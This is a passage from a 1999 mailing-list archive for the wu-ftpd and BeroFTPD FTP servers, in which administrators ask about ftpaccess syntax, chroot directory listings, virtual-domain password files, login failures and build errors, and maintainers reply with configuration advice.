Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 10 11:43:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA05207;
Wed, 10 Mar 1999 11:43:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA01631;
Wed, 10 Mar 1999 11:38:43 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA16906
for <[email protected]>; Wed, 10 Mar 1999 11:32:22 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id MAA15955;
Wed, 10 Mar 1999 12:32:17 -0500
Message-Id: <[email protected]>
Date: Wed, 10 Mar 1999 12:32:17 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Ray Texter <[email protected]>
Cc: [email protected]
Subject: Re: wu-ftpd with ftpaccess file....
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 10 Mar 1999, Ray Texter wrote:

> I'm running Ver. 2.4.2-academ of wu-ftpd on a solaris 2.7. I'm trying to
> use the ftpaccess file. It doesn't seem to be working correctly.

> I only have two lines in my ftpaccess file for testing.
>
> class all ftp,ftpusr
> limit all any

I'd suggest starting with the command 'man ftpaccess' and reading. I'm
sure proper syntax will help a lot. There are some examples in
doc/examples which you might find helpful.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 10 14:22:14 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA07590;
Wed, 10 Mar 1999 14:22:13 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA26087;
Wed, 10 Mar 1999 14:15:40 -0600 (CST)
Received: from relay.pair.com (relay1.pair.com [209.68.1.20])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA12047
for <[email protected]>; Wed, 10 Mar 1999 14:09:30 -0600 (CST)
Received: from microsoft.sucks.eu.org ([email protected] [198.22.51.100])
by relay.pair.com (8.8.7/8.8.5) with SMTP id OAA19666;
Wed, 10 Mar 1999 14:59:03 -0500 (EST)
Message-Id: <Pine.LNX.4.10.9903102034060.18365-100000@k6.microsoft.sucks.eu.org>
Date: Wed, 10 Mar 1999 20:36:52 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: Bernhard Rosenkraenzer <[email protected]>
To: Andreas Zierott <[email protected]>
Cc: WU-FTPD Mailing List <[email protected]>
Subject: Re: BeroFTPD passwd/shadow
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 10 Mar 1999, Andreas Zierott wrote:

> I want to set up BeroFTPD to use multiple virtual domains. For better
> administration there should be a passwd/shadow file for each domain.

Get 1.3.4 - there are a couple of bugs in passwd/shadow handling I fixed
recently.

> anonymous-root /ftp/<domain>/home
> guest-root /ftp/<domain>/home
>
> After authentication the passwd/shadow files will be expected under the
> chrooted directory (e.g. /ftp/<domain>/home/ftp/<domain>/etc/passwd).
> Therefore they will not be found and the user's home directory cannot be
> determined.

I don't see a way to work around this (except for reading the entire file
to memory, which would be both a memory problem and a security problem) -
there's no way to undo a chroot().

> Another question: What is the current stable BeroFTPD? According to
> documentation it is version 1.2.3 and not the current version 1.3.4
> which should be regarded as experimental.

It's safe to use 1.3.4. The only reason why I'm still calling it
experimental is that I know for sure it doesn't compile on some systems.
(I thought 1.3.4 could fix this problem, but it didn't - it's quite hard
to fix problems occurring only on systems you don't have access to.)

LLaP
bero

--
Windows 98 supports real multitasking - it can boot and crash simultaneously.
***
Anyone sending unwanted advertising e-mail to this address will be charged
$25 for network traffic and computing time. By extracting my address from
this message or its header, you agree to these terms.

From [email protected] Wed Mar 10 17:43:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA10313;
Wed, 10 Mar 1999 17:43:29 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA08132;
Wed, 10 Mar 1999 17:37:19 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA11751
for <[email protected]>; Wed, 10 Mar 1999 17:35:58 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id KAA23646;
Thu, 11 Mar 1999 10:35:49 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id KAA28030;
Thu, 11 Mar 1999 10:35:47 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma027709; Thu, 11 Mar 99 10:35:14 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id KAA10006;
Thu, 11 Mar 1999 10:35:13 +1100 (EST)
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 10:34:09 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Ray Texter <[email protected]>
Cc: [email protected]
Subject: Re: wu-ftpd with ftpaccess file....
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

You could also try running the ckconfig command that gets built along with the
daemon when compiling. This program simply checks that it can find the
ftpaccess and other required files in the correct places and will also inform
you where it looks.

I think also that you should take Greg's advice and read the man pages for
ftpaccess, as the lines that you say you have in your ftpaccess file won't
really help you much.

Hope this helps,

James

Ray Texter wrote:

> I'm running Ver. 2.4.2-academ of wu-ftpd on a solaris 2.7. I'm trying to
> use the ftpaccess file. It doesn't seem to be working correctly.
>
> I edit the etc/inetd.conf file and put in the -a to enable this. after
> this
> I restart the service and there is no difference. I only have twi line in
> my ftpaccess file for testing.
>
> class all ftp,ftpusr
> limit all any
>
> If some one could shead some light on this that would be great.....
>
> Thanx
> Ray Texter

From [email protected] Wed Mar 10 20:45:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA12415;
Wed, 10 Mar 1999 20:45:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA25191;
Wed, 10 Mar 1999 20:39:10 -0600 (CST)
Received: from ygmail.kt.co.kr (ygmail_kt.kotel.co.kr [147.6.3.33])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA13434
for <[email protected]>; Wed, 10 Mar 1999 20:36:21 -0600 (CST)
Received: from kt.co.kr ([147.6.9.99])
by ygmail.kt.co.kr (8.8.8/8.8.8) with ESMTP id LAA25791
for <[email protected]>; Thu, 11 Mar 1999 11:38:45 +0900 (KST)
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 11:39:38 +0900
Reply-To: [email protected]
Sender: [email protected]
From: Myoung-Sun Chong <[email protected]>
To: "[email protected]" <[email protected]>
Subject: ftp hosting
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------5C237DA567CDFA2C77BEE265"
X-Mailer: Mozilla 4.02 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------5C237DA567CDFA2C77BEE265
Content-Type: text/plain; charset=iso-2022-kr
Content-Transfer-Encoding: 7bit

hi,

Have any of you heard of FTP hosting?
Any feedback would be greatly apreciated.

jackie

--------------5C237DA567CDFA2C77BEE265
Content-Type: text/x-vcard; charset=iso-2022-kr; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Jackie Chong
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Jackie Chong
n: Chong;Jackie
org: Korea Telecom
email;internet: [email protected]
title: Technical Staff, Internet Team.
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------5C237DA567CDFA2C77BEE265--

From [email protected] Thu Mar 11 02:08:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id CAA15166;
Thu, 11 Mar 1999 02:08:37 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id CAA11531;
Thu, 11 Mar 1999 02:01:47 -0600 (CST)
Received: from CarlCox.iway.fr (carlcox.iway.fr [194.98.0.128])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id BAA22095
for <[email protected]>; Thu, 11 Mar 1999 01:56:14 -0600 (CST)
Received: from mail.iodp.com ([194.98.110.251])
by CarlCox.iway.fr (8.8.7/8.8.7) with SMTP id IAA09218
for <[email protected]>; Thu, 11 Mar 1999 08:55:45 +0100 (MET)
Received: from [194.98.110.11] (unverified [194.98.110.11]) by mail.iodp.com
(EMWAC SMTPRS 0.83) with SMTP id <[email protected]>;
Thu, 11 Mar 1999 08:45:49 +0100
Message-Id: <l03130303b30d263cfc3d@[194.98.110.11]>
Date: Thu, 11 Mar 1999 08:56:57 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Michael Bruyere <[email protected]>
To: [email protected]
Subject: newbie problems ? ...
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: Eudora Light F3.1.3l
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I have a little problem ...

I install a wu-ftpd 2.4.2 beta18
on LinuxPPC computer.

Every things work fine, exept
my limit line in the ftpaccess file ...

i can't get user number, nor time limit.

but every things else in the ftpaccess file
work.

(the class is defined, password check is like i configure it ....)

when looking with ftpwho or ftpcount,

the user is in the good class, but it tell me that there's
no limitation for the class.

(i have only one)

Is it a academical problem ?

thanks for a solution.

----

Michael Bruyere

From [email protected] Thu Mar 11 06:31:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA17715;
Thu, 11 Mar 1999 06:31:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA20955;
Thu, 11 Mar 1999 06:25:34 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA29265
for <[email protected]>; Thu, 11 Mar 1999 06:24:12 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id HAA26015;
Thu, 11 Mar 1999 07:24:05 -0500
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 07:24:05 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Bruyere <[email protected]>
Cc: [email protected]
Subject: Re: newbie problems ? ...
In-Reply-To: <l03130303b30d263cfc3d@[194.98.110.11]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 11 Mar 1999, Michael Bruyere wrote:

> wu-ftpd 2.4.2 beta18 Every things work fine, exept my limit line in
> the ftpaccess file ...

Check for errors and watch capitalization. Most of the ftpaccess file in
your version is case-sensitive. Examples:

limit remote 10 SaSu|Any1800-0600
limit remote 5 Any

class 'remote' limited to 5 users on workdays: weekdays, 6A to 6P. 10
users all other times. Notice the capitalization.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 11 08:12:58 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA18720;
Thu, 11 Mar 1999 08:12:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA14202;
Thu, 11 Mar 1999 08:05:40 -0600 (CST)
Received: from monica.marlin.co.uk (bin@[194.6.195.29])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA10629
for <[email protected]>; Thu, 11 Mar 1999 08:02:01 -0600 (CST)
Received: from [193.38.52.11] (helo=orangenet.co.uk)
by monica.marlin.co.uk with esmtp (Exim 2.05 #1)
id 10L65m-0000DR-00
for [email protected]; Thu, 11 Mar 1999 14:05:43 +0000
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 13:59:52 +0000
Reply-To: [email protected]
Sender: [email protected]
From: iqbal <[email protected]>
To: [email protected]
Subject: directory listing
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi

I have read the faq, still trawling throught the archives, but none of
the solution sseem to help.

I have set up wu-ftpd on a number of operating systems, but never had so
much trouble as I have had this time.

i am running Version wu-2.4.2-academ[BETA-15], and i have the following
setup

ftp is /usr/local/web

I have a bin directory under the above, which contains ls
I also have a lib directory which contains ld-linux.co and libc.so.5

Everything else works, it chroot and chdirs etc etc, but I cannot get a
directory listing.

Oh the operating system is linux kernal version 2.0.34

Any pointers would be helpful

Thanks iqbal

From [email protected] Thu Mar 11 08:35:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA19069;
Thu, 11 Mar 1999 08:35:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA19079;
Thu, 11 Mar 1999 08:29:30 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA22659
for <[email protected]>; Thu, 11 Mar 1999 08:22:34 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA26660;
Thu, 11 Mar 1999 09:22:24 -0500
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 09:22:23 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: iqbal <[email protected]>
Cc: [email protected]
Subject: Re: directory listing
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 11 Mar 1999, iqbal wrote:

> Everything else works, it chroot and chdirs etc etc, but I cannot get
> a directory listing.
>
> Oh the operating system is linux kernal version 2.0.34

Run through the example site at ftp://ftp.vr.net/pub/wu-ftpd/examples/ it
shows a minimal installastion. On Linux, with statically-linked binaries,
this minimal installation works. Precompiled static binaries for Linux
are available at the same ftp site.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 11 08:39:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA19124;
Thu, 11 Mar 1999 08:39:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA04369;
Thu, 11 Mar 1999 08:31:52 -0600 (CST)
Received: from julie.univ-savoie.fr (univax.univ-savoie.fr [193.48.120.32])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA03085
for <[email protected]>; Thu, 11 Mar 1999 08:26:42 -0600 (CST)
Received: from julie.univ-savoie.fr (julie.univ-savoie.fr [193.48.120.39])
by julie.univ-savoie.fr (8.9.3/jtpda-5.3.1) with ESMTP id PAA48532
for <[email protected]>; Thu, 11 Mar 1999 15:29:22 +0100 (CET)
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 15:29:21 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: David Berard <[email protected]>
To: [email protected]
Subject: GET problem with BeroFTP
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

I have a problem with BeroFTP 1.3.2 & 1.3.4. under FreeBSD 3.1

When I try to get a none existent file, the serveur exit on signal 11.

Is it a knowm problem ?

Is there any solution ?

--

David Berard | Tel : 04 79 75 81 26
CRIR | Fax : 04 79 75 87 23
Universite de Savoie |

From [email protected] Thu Mar 11 08:55:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA19369;
Thu, 11 Mar 1999 08:54:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA17276;
Thu, 11 Mar 1999 08:47:29 -0600 (CST)
Received: from gatekeeper.dsg.com (gatekeeper.dsg.com [204.179.88.126])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA05216
for <[email protected]>; Thu, 11 Mar 1999 08:41:49 -0600 (CST)
Received: (from uucp@localhost) by gatekeeper.dsg.com (8.6.10/8.6.10) id IAA14717 for <[email protected]>; Thu, 11 Mar 1999 08:34:07 -0600
Received: from ares.dsg.com(204.179.89.129) by gatekeeper.dsg.com via smap (V1.3)
id sma014698; Thu Mar 11 08:33:41 1999
Received: from pluto.dsg.com (pluto [204.179.89.169])
by ares.dsg.com (8.8.5/8.8.5) with ESMTP id IAA18669
for <[email protected]>; Thu, 11 Mar 1999 08:41:03 -0600 (CST)
Received: by pluto.dsg.com with Internet Mail Service (5.5.2232.9)
id <F28KT90B>; Thu, 11 Mar 1999 08:43:13 -0600
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 08:43:05 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Ray Texter <[email protected]>
To: "'[email protected]'" <[email protected]>
Subject: Summary wu-ftpd with ftpaccess file
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
X-Mailer: Internet Mail Service (5.5.2232.9)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks to Gregory A Lundberg James McMahon:

It was my syntax in the ftpaccess file ... I was missing the addrglob for
the IP domain ..
This is such a rookie mistake. I'm an experience NT person be trained on
Unix..

Thanx again....
____________________________________________________________________________
_____
You could also try running the ckconfig command that gets built along with
the
daemon when compiling. This program simply checks that it can find the
ftpaccess and other required files in the correct places and will also
inform
you where it looks.

I think also that you should take Greg's advice and read the man pages for
ftpaccess, as the lines that you say you have in your ftpaccess file won't
really help you much.

I'd suggest starting with the command 'man ftpaccess' and reading. I'm
sure proper syntax will help a lot. There are some examples in
doc/examples which you might find helpful.

----------------------------------------------------------------------------
----------------
I'm running Ver. 2.4.2-academ of wu-ftpd on a solaris 2.7. I'm trying to
use the ftpaccess file. It doesn't seem to be working correctly.

I edit the etc/inetd.conf file and put in the -a to enable this. after this
I restart the service and there is no difference. I only have twi line in
my ftpaccess file for testing.

class all ftp,ftpusr
limit all any

If some one could shead some light on this that would be great.....

Thanx

From [email protected] Thu Mar 11 09:34:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA19884;
Thu, 11 Mar 1999 09:34:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA30052;
Thu, 11 Mar 1999 09:26:44 -0600 (CST)
Received: from monica.marlin.co.uk (bin@[194.6.195.29])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA08989
for <[email protected]>; Thu, 11 Mar 1999 09:19:54 -0600 (CST)
Received: from [193.38.52.11] (helo=orangenet.co.uk)
by monica.marlin.co.uk with esmtp (Exim 2.05 #1)
id 10L7J7-0000KW-00
for [email protected]; Thu, 11 Mar 1999 15:23:34 +0000
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 15:17:23 +0000
Reply-To: [email protected]
Sender: [email protected]
From: iqbal <[email protected]>
To: [email protected]
Subject: Re: directory listing
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi

I have downloaded the binary and tested that still no luck, and the
layout of my "system" looks identical.

I looked in the inetd.conf file and saw that wu.ftpd was being called
using the -l -i -a options. This wouldn't have an affcet would it ?

When I do /usr/sbin/chroot /path/to/ftp /bin/ls I get an error

execvp : no file or directory.

Iqbal

Gregory A Lundberg wrote:
>
> On Thu, 11 Mar 1999, iqbal wrote:
>
> > Everything else works, it chroot and chdirs etc etc, but I cannot get
> > a directory listing.
> >
> > Oh the operating system is linux kernal version 2.0.34
>
> Run through the example site at ftp://ftp.vr.net/pub/wu-ftpd/examples/ it
> shows a minimal installastion. On Linux, with statically-linked binaries,
> this minimal installation works. Precompiled static binaries for Linux
> are available at the same ftp site.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 11 15:16:40 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA26403;
Thu, 11 Mar 1999 15:16:39 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA20219;
Thu, 11 Mar 1999 15:12:32 -0600 (CST)
Received: from vesuve.globetrotter.net (vesuve.globetrotter.net [142.169.1.81])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA06192
for <[email protected]>; Thu, 11 Mar 1999 15:07:18 -0600 (CST)
Received: from globetrotter.net (cindy.quebectel.com [142.169.1.76])
by vesuve.globetrotter.net (8.8.5/8.8.5) with ESMTP id QAA14287
for <[email protected]>; Thu, 11 Mar 1999 16:07:17 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 16:07:17 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Raphael Chasse <[email protected]>
To: [email protected]
Subject: BeroTFPD 1.3.4 passwd/shadow
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.5.1 sun4u)
X-Accept-Language: fr-CA
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

I've installed BeroFTPD 1.3.4 successfully on my Solaris 2.5.1 system.

I know It support different passwd shadow files for every virtual
server, but can it support different group files as well ?

Thank you,
--
Raphael Chasse
Analyste systemes d'exploitation reseau et reseautique
[email protected]

From [email protected] Thu Mar 11 17:40:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA04372;
Thu, 11 Mar 1999 17:40:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA22056;
Thu, 11 Mar 1999 17:35:49 -0600 (CST)
Received: from sacapuntas.efortress.com (rad1.edgenet.net [205.181.175.10])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA03080
for <[email protected]>; Thu, 11 Mar 1999 17:32:56 -0600 (CST)
Received: from navisclient by sacapuntas.efortress.com (SMI-8.6/SMI-SVR4)
id SAA19551; Thu, 11 Mar 1999 18:42:20 -0500
Message-Id: <[email protected]>
Date: Thu, 11 Mar 1999 18:33:36 -0000
Reply-To: [email protected]
Sender: [email protected]
From: "David Gay" <[email protected]>
To: "WU-FTP" <[email protected]>
Subject: Login Problems
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hello,

Just inherited a box that had crashed and we needed to restore. Won't bore
you with details, but basically anonymous FTP works, but if you try login in
with a local user on the system the login fails. Just wondering if someone
could point me in the right direction as to what to check. Here's the
versions:

Linux 2.0.32
wu-2.4.2-academ[BETA-16]
Using shadowed pwords

Obviously an obscure question, but I'm just looking for some direction as
I'm new to wu (coming from Solaris background and we've just used default).

Thanks,
david

From [email protected] Fri Mar 12 10:34:32 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA16413;
Fri, 12 Mar 1999 10:34:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA29591;
Fri, 12 Mar 1999 10:25:54 -0600 (CST)
Received: from gomez.msfc.nasa.gov (GOMEZ.MSFC.NASA.GOV [128.158.176.175])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA21208
for <[email protected]>; Fri, 12 Mar 1999 10:20:43 -0600 (CST)
Received: from whitewolf (whitewolf.msfc.nasa.gov [128.158.176.177])
by gomez.msfc.nasa.gov (8.8.8+Sun/8.8.7) with SMTP id KAA01251
for <[email protected]>; Fri, 12 Mar 1999 10:20:11 -0600 (CST)
Message-Id: <[email protected]>
Date: Fri, 12 Mar 1999 10:20:11 -0700
Reply-To: [email protected]
Sender: [email protected]
From: Michael Wright <[email protected]>
To: [email protected]
Subject: problem with 2.4.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I just updated to 2.4.2 final.

I have some three virtual servers. On my second server for remote real
logins, users are given a permission denied messages after the name is entered.

Anyone know what is going on.

Michael

From [email protected] Fri Mar 12 14:25:08 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA20936;
Fri, 12 Mar 1999 14:25:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA05557;
Fri, 12 Mar 1999 14:17:22 -0600 (CST)
Received: from aqua.uaa.mx (aqua.uaa.mx [148.211.1.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA26773
for <[email protected]>; Fri, 12 Mar 1999 14:15:56 -0600 (CST)
Received: from dped.dped.uaa.mx (dped.dped.uaa.mx [148.211.1.100])
by aqua.uaa.mx (8.8.8/8.8.8) with ESMTP id OAA08350
for <[email protected]>; Fri, 12 Mar 1999 14:17:33 +0600 (GMT)
Received: from DPED/SpoolDir by dped.dped.uaa.mx (Mercury 1.40);
12 Mar 99 14:15:29 GMT-6
Received: from SpoolDir by DPED (Mercury 1.40); 12 Mar 99 14:15:00 GMT-6
Message-Id: <[email protected]>
Date: Fri, 12 Mar 1999 14:14:58 GMT-6
Reply-To: [email protected]
Sender: [email protected]
From: "ABRAHAM RODRIGUEZ MENDEZ" <[email protected]>
To: [email protected]
Subject: wu-ftpd in irix 6.2
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-mailer: Pegasus Mail v3.22
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I need to install Wu-ftpd in a Indy irix 6.2
to the moment of compiling i obtain errors in the arguments pass in
va_start.

as i solve this problem?

Thanks for all

Abraham R.

From [email protected] Fri Mar 12 23:24:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id XAA16939;
Fri, 12 Mar 1999 23:24:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id XAA02723;
Fri, 12 Mar 1999 23:16:48 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id XAA06855
for <[email protected]>; Fri, 12 Mar 1999 23:10:16 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id AAA09826;
Sat, 13 Mar 1999 00:10:09 -0500
Message-Id: <[email protected]>
Date: Sat, 13 Mar 1999 00:10:09 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Wright <[email protected]>
Cc: [email protected]
Subject: Re: problem with 2.4.2
In-Reply-To: <[email protected]>
MIME-Version: 1.0
